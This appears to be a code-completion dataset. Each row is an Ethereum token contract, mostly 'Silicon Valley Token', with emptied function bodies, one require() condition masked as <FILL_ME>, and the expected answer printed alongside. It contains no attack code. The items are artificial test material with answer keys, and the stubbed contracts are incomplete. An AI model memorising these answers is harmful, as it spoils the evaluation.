* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) whenNotPaused public returns (bool success) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender
* Added due to backwards compatibility with ERC20
* @param _owner address The address which owns the funds
* @param _spender address The address which will spend the funds
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
}
function distributeTokens(address[] addresses, uint[] amounts) whenNotPaused public returns (bool) {
}
/**
* @dev To collect tokens from target addresses. This function is used when we collect tokens which transfer to our service.
* @param _targets collect target addresses
*/
function collectTokens(address[] _targets) onlyOwner whenNotPaused public returns (bool) {
require(_targets.length > 0);
uint256 totalAmount = 0;
for (uint i = 0; i < _targets.length; i++) {
require(<FILL_ME>)
totalAmount = totalAmount.add(balanceOf[_targets[i]]);
Transfer(_targets[i], depositAddress, balanceOf[_targets[i]]);
balanceOf[_targets[i]] = 0;
}
balanceOf[depositAddress] = balanceOf[depositAddress].add(totalAmount);
return true;
}
function setDepositAddress(address _addr) onlyOwner whenNotPaused public {
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
}
modifier canMint() {
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
}
/**
* @dev fallback function
*/
function() payable public {
}
}
| _targets[i]!=0x0&&now>unlockUnixTime[_targets[i]] | 325,864 | _targets[i]!=0x0&&now>unlockUnixTime[_targets[i]] |
null | pragma solidity ^0.4.18;
/*
* Silicon Valley Token (SVL)
* Created by Starlag Labs (www.starlag.com)
* Copyright © Silicon-Valley.one 2018. All rights reserved.
* https://www.silicon-valley.one/
*/
library Math {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
}
contract Utils {
function Utils() public {}
modifier greaterThanZero(uint256 _value)
{
}
modifier validUint(uint256 _value)
{
}
modifier validAddress(address _address)
{
}
modifier notThis(address _address)
{
}
modifier validAddressAndNotThis(address _address)
{
}
modifier notEmpty(string _data)
{
require(<FILL_ME>)
_;
}
modifier stringLength(string _data, uint256 _length)
{
}
modifier validBytes32(bytes32 _bytes)
{
}
modifier validUint64(uint64 _value)
{
}
modifier validUint8(uint8 _value)
{
}
modifier validBalanceThis(uint256 _value)
{
}
}
contract Authorizable is Utils {
using Math for uint256;
address public owner;
address public newOwner;
mapping (address => Level) authorizeds;
uint256 public authorizedCount;
/*
* ZERO 0 - bug for null object
* OWNER 1
* ADMIN 2
* DAPP 3
*/
enum Level {ZERO,OWNER,ADMIN,DAPP}
event OwnerTransferred(address indexed _prevOwner, address indexed _newOwner);
event Authorized(address indexed _address, Level _level);
event UnAuthorized(address indexed _address);
function Authorizable()
public
{
}
modifier onlyOwner {
}
modifier onlyOwnerOrThis {
}
modifier notOwner(address _address) {
}
modifier authLevel(Level _level) {
}
modifier authLevelOnly(Level _level) {
}
modifier notSender(address _address) {
}
modifier isSender(address _address) {
}
modifier checkLevel(Level _level) {
}
function transferOwnership(address _newOwner)
public
{
}
function _transferOwnership(address _newOwner)
onlyOwner
validAddress(_newOwner)
notThis(_newOwner)
internal
{
}
function acceptOwnership()
validAddress(newOwner)
isSender(newOwner)
public
{
}
function cancelOwnership()
onlyOwner
public
{
}
function authorized(address _address, Level _level)
public
{
}
function _authorized(address _address, Level _level)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
checkLevel(_level)
internal
{
}
function unAuthorized(address _address)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
public
{
}
function isAuthorized(address _address)
validAddress(_address)
notThis(_address)
public
constant
returns (Level)
{
}
}
contract ITokenRecipient { function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData) public; }
contract IERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256 balance);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Token is Authorizable, IERC20 {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier validBalance(uint256 _value)
{
}
modifier validBalanceFrom(address _from, uint256 _value)
{
}
modifier validBalanceOverflows(address _to, uint256 _value)
{
}
function ERC20Token() public {}
function totalSupply()
public
constant
returns (uint256)
{
}
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
}
function _transfer(address _to, uint256 _value)
validAddress(_to)
greaterThanZero(_value)
validBalance(_value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success)
{
}
function _transferFrom(address _from, address _to, uint256 _value)
validAddress(_to)
validAddress(_from)
greaterThanZero(_value)
validBalanceFrom(_from, _value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function balanceOf(address _owner)
validAddress(_owner)
public
constant
returns (uint256 balance)
{
}
function approve(address _spender, uint256 _value)
public
returns (bool success)
{
}
function _approve(address _spender, uint256 _value)
validAddress(_spender)
internal
returns (bool success)
{
}
function allowance(address _owner, address _spender)
validAddress(_owner)
validAddress(_spender)
public
constant
returns (uint256 remaining)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
validAddress(_spender)
greaterThanZero(_addedValue)
public
returns (bool success)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
validAddress(_spender)
greaterThanZero(_subtractedValue)
public
returns (bool success)
{
}
}
contract FrozenToken is ERC20Token, ITokenRecipient {
mapping (address => bool) frozeds;
uint256 public frozedCount;
bool public freezeEnabled = true;
bool public autoFreeze = true;
bool public mintFinished = false;
event Freeze(address indexed wallet);
event UnFreeze(address indexed wallet);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
event Mint(address indexed sender, address indexed wallet, uint256 amount);
event ReceiveTokens(address indexed spender, address indexed token, uint256 value, bytes extraData);
event ApproveAndCall(address indexed spender, uint256 value, bytes extraData);
event Burn(address indexed sender, uint256 amount);
event MintFinished(address indexed spender);
modifier notFreeze
{
}
modifier notFreezeFrom(address _from)
{
}
modifier canMint
{
}
function FrozenToken() public {}
function freeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
notThis(_address)
notOwner(_address)
public
{
}
function unFreeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
public
{
}
function updFreezeEnabled(bool _freezeEnabled)
authLevel(Level.ADMIN)
public
{
}
function updAutoFreeze(bool _autoFreeze)
authLevel(Level.ADMIN)
public
{
}
function isFreeze(address _address)
validAddress(_address)
public
constant
returns(bool)
{
}
function transfer(address _to, uint256 _value)
notFreeze
public
returns (bool)
{
}
function transferFrom(address _from, address _to, uint256 _value)
notFreezeFrom(_from)
public
returns (bool)
{
}
function approve(address _spender, uint256 _value)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
validAddress(_spender)
greaterThanZero(_value)
public
returns (bool success)
{
}
function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData)
validAddress(_spender)
validAddress(_token)
greaterThanZero(_value)
public
{
}
function mintFinish()
onlyOwner
public
returns (bool success)
{
}
function mint(address _address, uint256 _value)
canMint
authLevel(Level.DAPP)
validAddress(_address)
greaterThanZero(_value)
public
returns (bool success)
{
}
function burn(uint256 _value)
greaterThanZero(_value)
validBalance(_value)
public
returns (bool)
{
}
}
contract SiliconValleyToken is FrozenToken {
string public name = "Silicon Valley Token";
string public symbol = "SVL";
uint8 public decimals = 18;
string public version = "0.1";
string public publisher = "https://www.silicon-valley.one/";
string public description = "This is an official Silicon Valley Token (SVL)";
bool public acceptAdminWithdraw = false;
bool public acceptDonate = true;
event InfoChanged(address indexed sender, string version, string publisher, string description);
event Withdraw(address indexed sender, address indexed wallet, uint256 amount);
event WithdrawTokens(address indexed sender, address indexed wallet, address indexed token, uint256 amount);
event Donate(address indexed sender, uint256 value);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
function SiliconValleyToken() public {}
function setupInfo(string _version, string _publisher, string _description)
authLevel(Level.ADMIN)
notEmpty(_version)
notEmpty(_publisher)
notEmpty(_description)
public
{
}
function withdraw()
public
returns (bool success)
{
}
function withdrawAmount(uint256 _amount)
authLevel(Level.ADMIN)
greaterThanZero(address(this).balance)
greaterThanZero(_amount)
validBalanceThis(_amount)
public
returns (bool success)
{
}
function withdrawTokens(address _token, uint256 _amount)
authLevel(Level.ADMIN)
validAddress(_token)
greaterThanZero(_amount)
public
returns (bool success)
{
}
function balanceToken(address _token)
validAddress(_token)
public
constant
returns (uint256 amount)
{
}
function updAcceptAdminWithdraw(bool _accept)
onlyOwner
public
returns (bool success)
{
}
function ()
external
payable
{
}
function donate()
greaterThanZero(msg.value)
internal
{
}
function updAcceptDonate(bool _accept)
authLevel(Level.ADMIN)
public
returns (bool success)
{
}
}
| bytes(_data).length>0 | 325,907 | bytes(_data).length>0 |
null | pragma solidity ^0.4.18;
/*
* Silicon Valley Token (SVL)
* Created by Starlag Labs (www.starlag.com)
* Copyright © Silicon-Valley.one 2018. All rights reserved.
* https://www.silicon-valley.one/
*/
library Math {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
}
contract Utils {
function Utils() public {}
modifier greaterThanZero(uint256 _value)
{
}
modifier validUint(uint256 _value)
{
}
modifier validAddress(address _address)
{
}
modifier notThis(address _address)
{
}
modifier validAddressAndNotThis(address _address)
{
}
modifier notEmpty(string _data)
{
}
modifier stringLength(string _data, uint256 _length)
{
require(<FILL_ME>)
_;
}
modifier validBytes32(bytes32 _bytes)
{
}
modifier validUint64(uint64 _value)
{
}
modifier validUint8(uint8 _value)
{
}
modifier validBalanceThis(uint256 _value)
{
}
}
contract Authorizable is Utils {
using Math for uint256;
address public owner;
address public newOwner;
mapping (address => Level) authorizeds;
uint256 public authorizedCount;
/*
* ZERO 0 - bug for null object
* OWNER 1
* ADMIN 2
* DAPP 3
*/
enum Level {ZERO,OWNER,ADMIN,DAPP}
event OwnerTransferred(address indexed _prevOwner, address indexed _newOwner);
event Authorized(address indexed _address, Level _level);
event UnAuthorized(address indexed _address);
function Authorizable()
public
{
}
modifier onlyOwner {
}
modifier onlyOwnerOrThis {
}
modifier notOwner(address _address) {
}
modifier authLevel(Level _level) {
}
modifier authLevelOnly(Level _level) {
}
modifier notSender(address _address) {
}
modifier isSender(address _address) {
}
modifier checkLevel(Level _level) {
}
function transferOwnership(address _newOwner)
public
{
}
function _transferOwnership(address _newOwner)
onlyOwner
validAddress(_newOwner)
notThis(_newOwner)
internal
{
}
function acceptOwnership()
validAddress(newOwner)
isSender(newOwner)
public
{
}
function cancelOwnership()
onlyOwner
public
{
}
function authorized(address _address, Level _level)
public
{
}
function _authorized(address _address, Level _level)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
checkLevel(_level)
internal
{
}
function unAuthorized(address _address)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
public
{
}
function isAuthorized(address _address)
validAddress(_address)
notThis(_address)
public
constant
returns (Level)
{
}
}
contract ITokenRecipient { function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData) public; }
contract IERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256 balance);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Token is Authorizable, IERC20 {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier validBalance(uint256 _value)
{
}
modifier validBalanceFrom(address _from, uint256 _value)
{
}
modifier validBalanceOverflows(address _to, uint256 _value)
{
}
function ERC20Token() public {}
function totalSupply()
public
constant
returns (uint256)
{
}
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
}
function _transfer(address _to, uint256 _value)
validAddress(_to)
greaterThanZero(_value)
validBalance(_value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success)
{
}
function _transferFrom(address _from, address _to, uint256 _value)
validAddress(_to)
validAddress(_from)
greaterThanZero(_value)
validBalanceFrom(_from, _value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function balanceOf(address _owner)
validAddress(_owner)
public
constant
returns (uint256 balance)
{
}
function approve(address _spender, uint256 _value)
public
returns (bool success)
{
}
function _approve(address _spender, uint256 _value)
validAddress(_spender)
internal
returns (bool success)
{
}
function allowance(address _owner, address _spender)
validAddress(_owner)
validAddress(_spender)
public
constant
returns (uint256 remaining)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
validAddress(_spender)
greaterThanZero(_addedValue)
public
returns (bool success)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
validAddress(_spender)
greaterThanZero(_subtractedValue)
public
returns (bool success)
{
}
}
contract FrozenToken is ERC20Token, ITokenRecipient {
mapping (address => bool) frozeds;
uint256 public frozedCount;
bool public freezeEnabled = true;
bool public autoFreeze = true;
bool public mintFinished = false;
event Freeze(address indexed wallet);
event UnFreeze(address indexed wallet);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
event Mint(address indexed sender, address indexed wallet, uint256 amount);
event ReceiveTokens(address indexed spender, address indexed token, uint256 value, bytes extraData);
event ApproveAndCall(address indexed spender, uint256 value, bytes extraData);
event Burn(address indexed sender, uint256 amount);
event MintFinished(address indexed spender);
modifier notFreeze
{
}
modifier notFreezeFrom(address _from)
{
}
modifier canMint
{
}
function FrozenToken() public {}
function freeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
notThis(_address)
notOwner(_address)
public
{
}
function unFreeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
public
{
}
function updFreezeEnabled(bool _freezeEnabled)
authLevel(Level.ADMIN)
public
{
}
function updAutoFreeze(bool _autoFreeze)
authLevel(Level.ADMIN)
public
{
}
function isFreeze(address _address)
validAddress(_address)
public
constant
returns(bool)
{
}
function transfer(address _to, uint256 _value)
notFreeze
public
returns (bool)
{
}
function transferFrom(address _from, address _to, uint256 _value)
notFreezeFrom(_from)
public
returns (bool)
{
}
function approve(address _spender, uint256 _value)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
validAddress(_spender)
greaterThanZero(_value)
public
returns (bool success)
{
}
function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData)
validAddress(_spender)
validAddress(_token)
greaterThanZero(_value)
public
{
}
function mintFinish()
onlyOwner
public
returns (bool success)
{
}
function mint(address _address, uint256 _value)
canMint
authLevel(Level.DAPP)
validAddress(_address)
greaterThanZero(_value)
public
returns (bool success)
{
}
function burn(uint256 _value)
greaterThanZero(_value)
validBalance(_value)
public
returns (bool)
{
}
}
contract SiliconValleyToken is FrozenToken {
string public name = "Silicon Valley Token";
string public symbol = "SVL";
uint8 public decimals = 18;
string public version = "0.1";
string public publisher = "https://www.silicon-valley.one/";
string public description = "This is an official Silicon Valley Token (SVL)";
bool public acceptAdminWithdraw = false;
bool public acceptDonate = true;
event InfoChanged(address indexed sender, string version, string publisher, string description);
event Withdraw(address indexed sender, address indexed wallet, uint256 amount);
event WithdrawTokens(address indexed sender, address indexed wallet, address indexed token, uint256 amount);
event Donate(address indexed sender, uint256 value);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
function SiliconValleyToken() public {}
function setupInfo(string _version, string _publisher, string _description)
authLevel(Level.ADMIN)
notEmpty(_version)
notEmpty(_publisher)
notEmpty(_description)
public
{
}
function withdraw()
public
returns (bool success)
{
}
function withdrawAmount(uint256 _amount)
authLevel(Level.ADMIN)
greaterThanZero(address(this).balance)
greaterThanZero(_amount)
validBalanceThis(_amount)
public
returns (bool success)
{
}
function withdrawTokens(address _token, uint256 _amount)
authLevel(Level.ADMIN)
validAddress(_token)
greaterThanZero(_amount)
public
returns (bool success)
{
}
function balanceToken(address _token)
validAddress(_token)
public
constant
returns (uint256 amount)
{
}
function updAcceptAdminWithdraw(bool _accept)
onlyOwner
public
returns (bool success)
{
}
function ()
external
payable
{
}
function donate()
greaterThanZero(msg.value)
internal
{
}
function updAcceptDonate(bool _accept)
authLevel(Level.ADMIN)
public
returns (bool success)
{
}
}
| bytes(_data).length==_length | 325,907 | bytes(_data).length==_length |
null | pragma solidity ^0.4.18;
/*
* Silicon Valley Token (SVL)
* Created by Starlag Labs (www.starlag.com)
* Copyright © Silicon-Valley.one 2018. All rights reserved.
* https://www.silicon-valley.one/
*/
library Math {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
}
contract Utils {
function Utils() public {}
modifier greaterThanZero(uint256 _value)
{
}
modifier validUint(uint256 _value)
{
}
modifier validAddress(address _address)
{
}
modifier notThis(address _address)
{
}
modifier validAddressAndNotThis(address _address)
{
}
modifier notEmpty(string _data)
{
}
modifier stringLength(string _data, uint256 _length)
{
}
modifier validBytes32(bytes32 _bytes)
{
}
modifier validUint64(uint64 _value)
{
}
modifier validUint8(uint8 _value)
{
}
modifier validBalanceThis(uint256 _value)
{
}
}
contract Authorizable is Utils {
using Math for uint256;
address public owner;
address public newOwner;
mapping (address => Level) authorizeds;
uint256 public authorizedCount;
/*
* ZERO 0 - bug for null object
* OWNER 1
* ADMIN 2
* DAPP 3
*/
enum Level {ZERO,OWNER,ADMIN,DAPP}
event OwnerTransferred(address indexed _prevOwner, address indexed _newOwner);
event Authorized(address indexed _address, Level _level);
event UnAuthorized(address indexed _address);
function Authorizable()
public
{
}
modifier onlyOwner {
require(<FILL_ME>)
_;
}
modifier onlyOwnerOrThis {
}
modifier notOwner(address _address) {
}
modifier authLevel(Level _level) {
}
modifier authLevelOnly(Level _level) {
}
modifier notSender(address _address) {
}
modifier isSender(address _address) {
}
modifier checkLevel(Level _level) {
}
function transferOwnership(address _newOwner)
public
{
}
function _transferOwnership(address _newOwner)
onlyOwner
validAddress(_newOwner)
notThis(_newOwner)
internal
{
}
function acceptOwnership()
validAddress(newOwner)
isSender(newOwner)
public
{
}
function cancelOwnership()
onlyOwner
public
{
}
function authorized(address _address, Level _level)
public
{
}
function _authorized(address _address, Level _level)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
checkLevel(_level)
internal
{
}
function unAuthorized(address _address)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
public
{
}
function isAuthorized(address _address)
validAddress(_address)
notThis(_address)
public
constant
returns (Level)
{
}
}
contract ITokenRecipient { function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData) public; }
contract IERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256 balance);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Token is Authorizable, IERC20 {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier validBalance(uint256 _value)
{
}
modifier validBalanceFrom(address _from, uint256 _value)
{
}
modifier validBalanceOverflows(address _to, uint256 _value)
{
}
function ERC20Token() public {}
function totalSupply()
public
constant
returns (uint256)
{
}
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
}
function _transfer(address _to, uint256 _value)
validAddress(_to)
greaterThanZero(_value)
validBalance(_value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success)
{
}
function _transferFrom(address _from, address _to, uint256 _value)
validAddress(_to)
validAddress(_from)
greaterThanZero(_value)
validBalanceFrom(_from, _value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
}
function balanceOf(address _owner)
validAddress(_owner)
public
constant
returns (uint256 balance)
{
}
function approve(address _spender, uint256 _value)
public
returns (bool success)
{
}
function _approve(address _spender, uint256 _value)
validAddress(_spender)
internal
returns (bool success)
{
}
function allowance(address _owner, address _spender)
validAddress(_owner)
validAddress(_spender)
public
constant
returns (uint256 remaining)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
validAddress(_spender)
greaterThanZero(_addedValue)
public
returns (bool success)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
validAddress(_spender)
greaterThanZero(_subtractedValue)
public
returns (bool success)
{
}
}
contract FrozenToken is ERC20Token, ITokenRecipient {
mapping (address => bool) frozeds;
uint256 public frozedCount;
bool public freezeEnabled = true;
bool public autoFreeze = true;
bool public mintFinished = false;
event Freeze(address indexed wallet);
event UnFreeze(address indexed wallet);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
event Mint(address indexed sender, address indexed wallet, uint256 amount);
event ReceiveTokens(address indexed spender, address indexed token, uint256 value, bytes extraData);
event ApproveAndCall(address indexed spender, uint256 value, bytes extraData);
event Burn(address indexed sender, uint256 amount);
event MintFinished(address indexed spender);
modifier notFreeze
{
}
modifier notFreezeFrom(address _from)
{
}
modifier canMint
{
}
function FrozenToken() public {}
function freeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
notThis(_address)
notOwner(_address)
public
{
}
function unFreeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
public
{
}
function updFreezeEnabled(bool _freezeEnabled)
authLevel(Level.ADMIN)
public
{
}
function updAutoFreeze(bool _autoFreeze)
authLevel(Level.ADMIN)
public
{
}
function isFreeze(address _address)
validAddress(_address)
public
constant
returns(bool)
{
}
function transfer(address _to, uint256 _value)
notFreeze
public
returns (bool)
{
}
function transferFrom(address _from, address _to, uint256 _value)
notFreezeFrom(_from)
public
returns (bool)
{
}
function approve(address _spender, uint256 _value)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function increaseApproval(address _spender, uint256 _addedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
validAddress(_spender)
greaterThanZero(_value)
public
returns (bool success)
{
}
function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData)
validAddress(_spender)
validAddress(_token)
greaterThanZero(_value)
public
{
}
function mintFinish()
onlyOwner
public
returns (bool success)
{
}
function mint(address _address, uint256 _value)
canMint
authLevel(Level.DAPP)
validAddress(_address)
greaterThanZero(_value)
public
returns (bool success)
{
}
function burn(uint256 _value)
greaterThanZero(_value)
validBalance(_value)
public
returns (bool)
{
}
}
contract SiliconValleyToken is FrozenToken {
string public name = "Silicon Valley Token";
string public symbol = "SVL";
uint8 public decimals = 18;
string public version = "0.1";
string public publisher = "https://www.silicon-valley.one/";
string public description = "This is an official Silicon Valley Token (SVL)";
bool public acceptAdminWithdraw = false;
bool public acceptDonate = true;
event InfoChanged(address indexed sender, string version, string publisher, string description);
event Withdraw(address indexed sender, address indexed wallet, uint256 amount);
event WithdrawTokens(address indexed sender, address indexed wallet, address indexed token, uint256 amount);
event Donate(address indexed sender, uint256 value);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
function SiliconValleyToken() public {}
function setupInfo(string _version, string _publisher, string _description)
authLevel(Level.ADMIN)
notEmpty(_version)
notEmpty(_publisher)
notEmpty(_description)
public
{
}
function withdraw()
public
returns (bool success)
{
}
function withdrawAmount(uint256 _amount)
authLevel(Level.ADMIN)
greaterThanZero(address(this).balance)
greaterThanZero(_amount)
validBalanceThis(_amount)
public
returns (bool success)
{
}
function withdrawTokens(address _token, uint256 _amount)
authLevel(Level.ADMIN)
validAddress(_token)
greaterThanZero(_amount)
public
returns (bool success)
{
}
function balanceToken(address _token)
validAddress(_token)
public
constant
returns (uint256 amount)
{
}
function updAcceptAdminWithdraw(bool _accept)
onlyOwner
public
returns (bool success)
{
}
function ()
external
payable
{
}
function donate()
greaterThanZero(msg.value)
internal
{
}
function updAcceptDonate(bool _accept)
authLevel(Level.ADMIN)
public
returns (bool success)
{
}
}
| authorizeds[msg.sender]==Level.OWNER | 325,907 | authorizeds[msg.sender]==Level.OWNER |
null | pragma solidity ^0.4.18;
/*
* Silicon Valley Token (SVL)
* Created by Starlag Labs (www.starlag.com)
* Copyright © Silicon-Valley.one 2018. All rights reserved.
* https://www.silicon-valley.one/
*/
library Math {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
}
}
contract Utils {
function Utils() public {}
modifier greaterThanZero(uint256 _value)
{
}
modifier validUint(uint256 _value)
{
}
modifier validAddress(address _address)
{
}
modifier notThis(address _address)
{
}
modifier validAddressAndNotThis(address _address)
{
}
modifier notEmpty(string _data)
{
}
modifier stringLength(string _data, uint256 _length)
{
}
modifier validBytes32(bytes32 _bytes)
{
}
modifier validUint64(uint64 _value)
{
}
modifier validUint8(uint8 _value)
{
}
modifier validBalanceThis(uint256 _value)
{
}
}
contract Authorizable is Utils {
using Math for uint256;
address public owner;
address public newOwner;
mapping (address => Level) authorizeds;
uint256 public authorizedCount;
/*
* ZERO 0 - bug for null object
* OWNER 1
* ADMIN 2
* DAPP 3
*/
enum Level {ZERO,OWNER,ADMIN,DAPP}
event OwnerTransferred(address indexed _prevOwner, address indexed _newOwner);
event Authorized(address indexed _address, Level _level);
event UnAuthorized(address indexed _address);
function Authorizable()
public
{
}
modifier onlyOwner {
}
modifier onlyOwnerOrThis {
require(<FILL_ME>)
_;
}
modifier notOwner(address _address) {
}
modifier authLevel(Level _level) {
}
modifier authLevelOnly(Level _level) {
}
modifier notSender(address _address) {
}
modifier isSender(address _address) {
}
modifier checkLevel(Level _level) {
}
function transferOwnership(address _newOwner)
public
{
}
function _transferOwnership(address _newOwner)
onlyOwner
validAddress(_newOwner)
notThis(_newOwner)
internal
{
}
function acceptOwnership()
validAddress(newOwner)
isSender(newOwner)
public
{
}
function cancelOwnership()
onlyOwner
public
{
}
function authorized(address _address, Level _level)
public
{
}
function _authorized(address _address, Level _level)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
checkLevel(_level)
internal
{
}
function unAuthorized(address _address)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
public
{
}
function isAuthorized(address _address)
validAddress(_address)
notThis(_address)
public
constant
returns (Level)
{
}
}
contract ITokenRecipient { function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData) public; }
contract IERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256 balance);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Token is Authorizable, IERC20 {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier validBalance(uint256 _value)
{
}
modifier validBalanceFrom(address _from, uint256 _value)
{
}
modifier validBalanceOverflows(address _to, uint256 _value)
{
}
function ERC20Token() public {}
function totalSupply()
public
constant
returns (uint256)
{
}
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
}
function _transfer(address _to, uint256 _value)
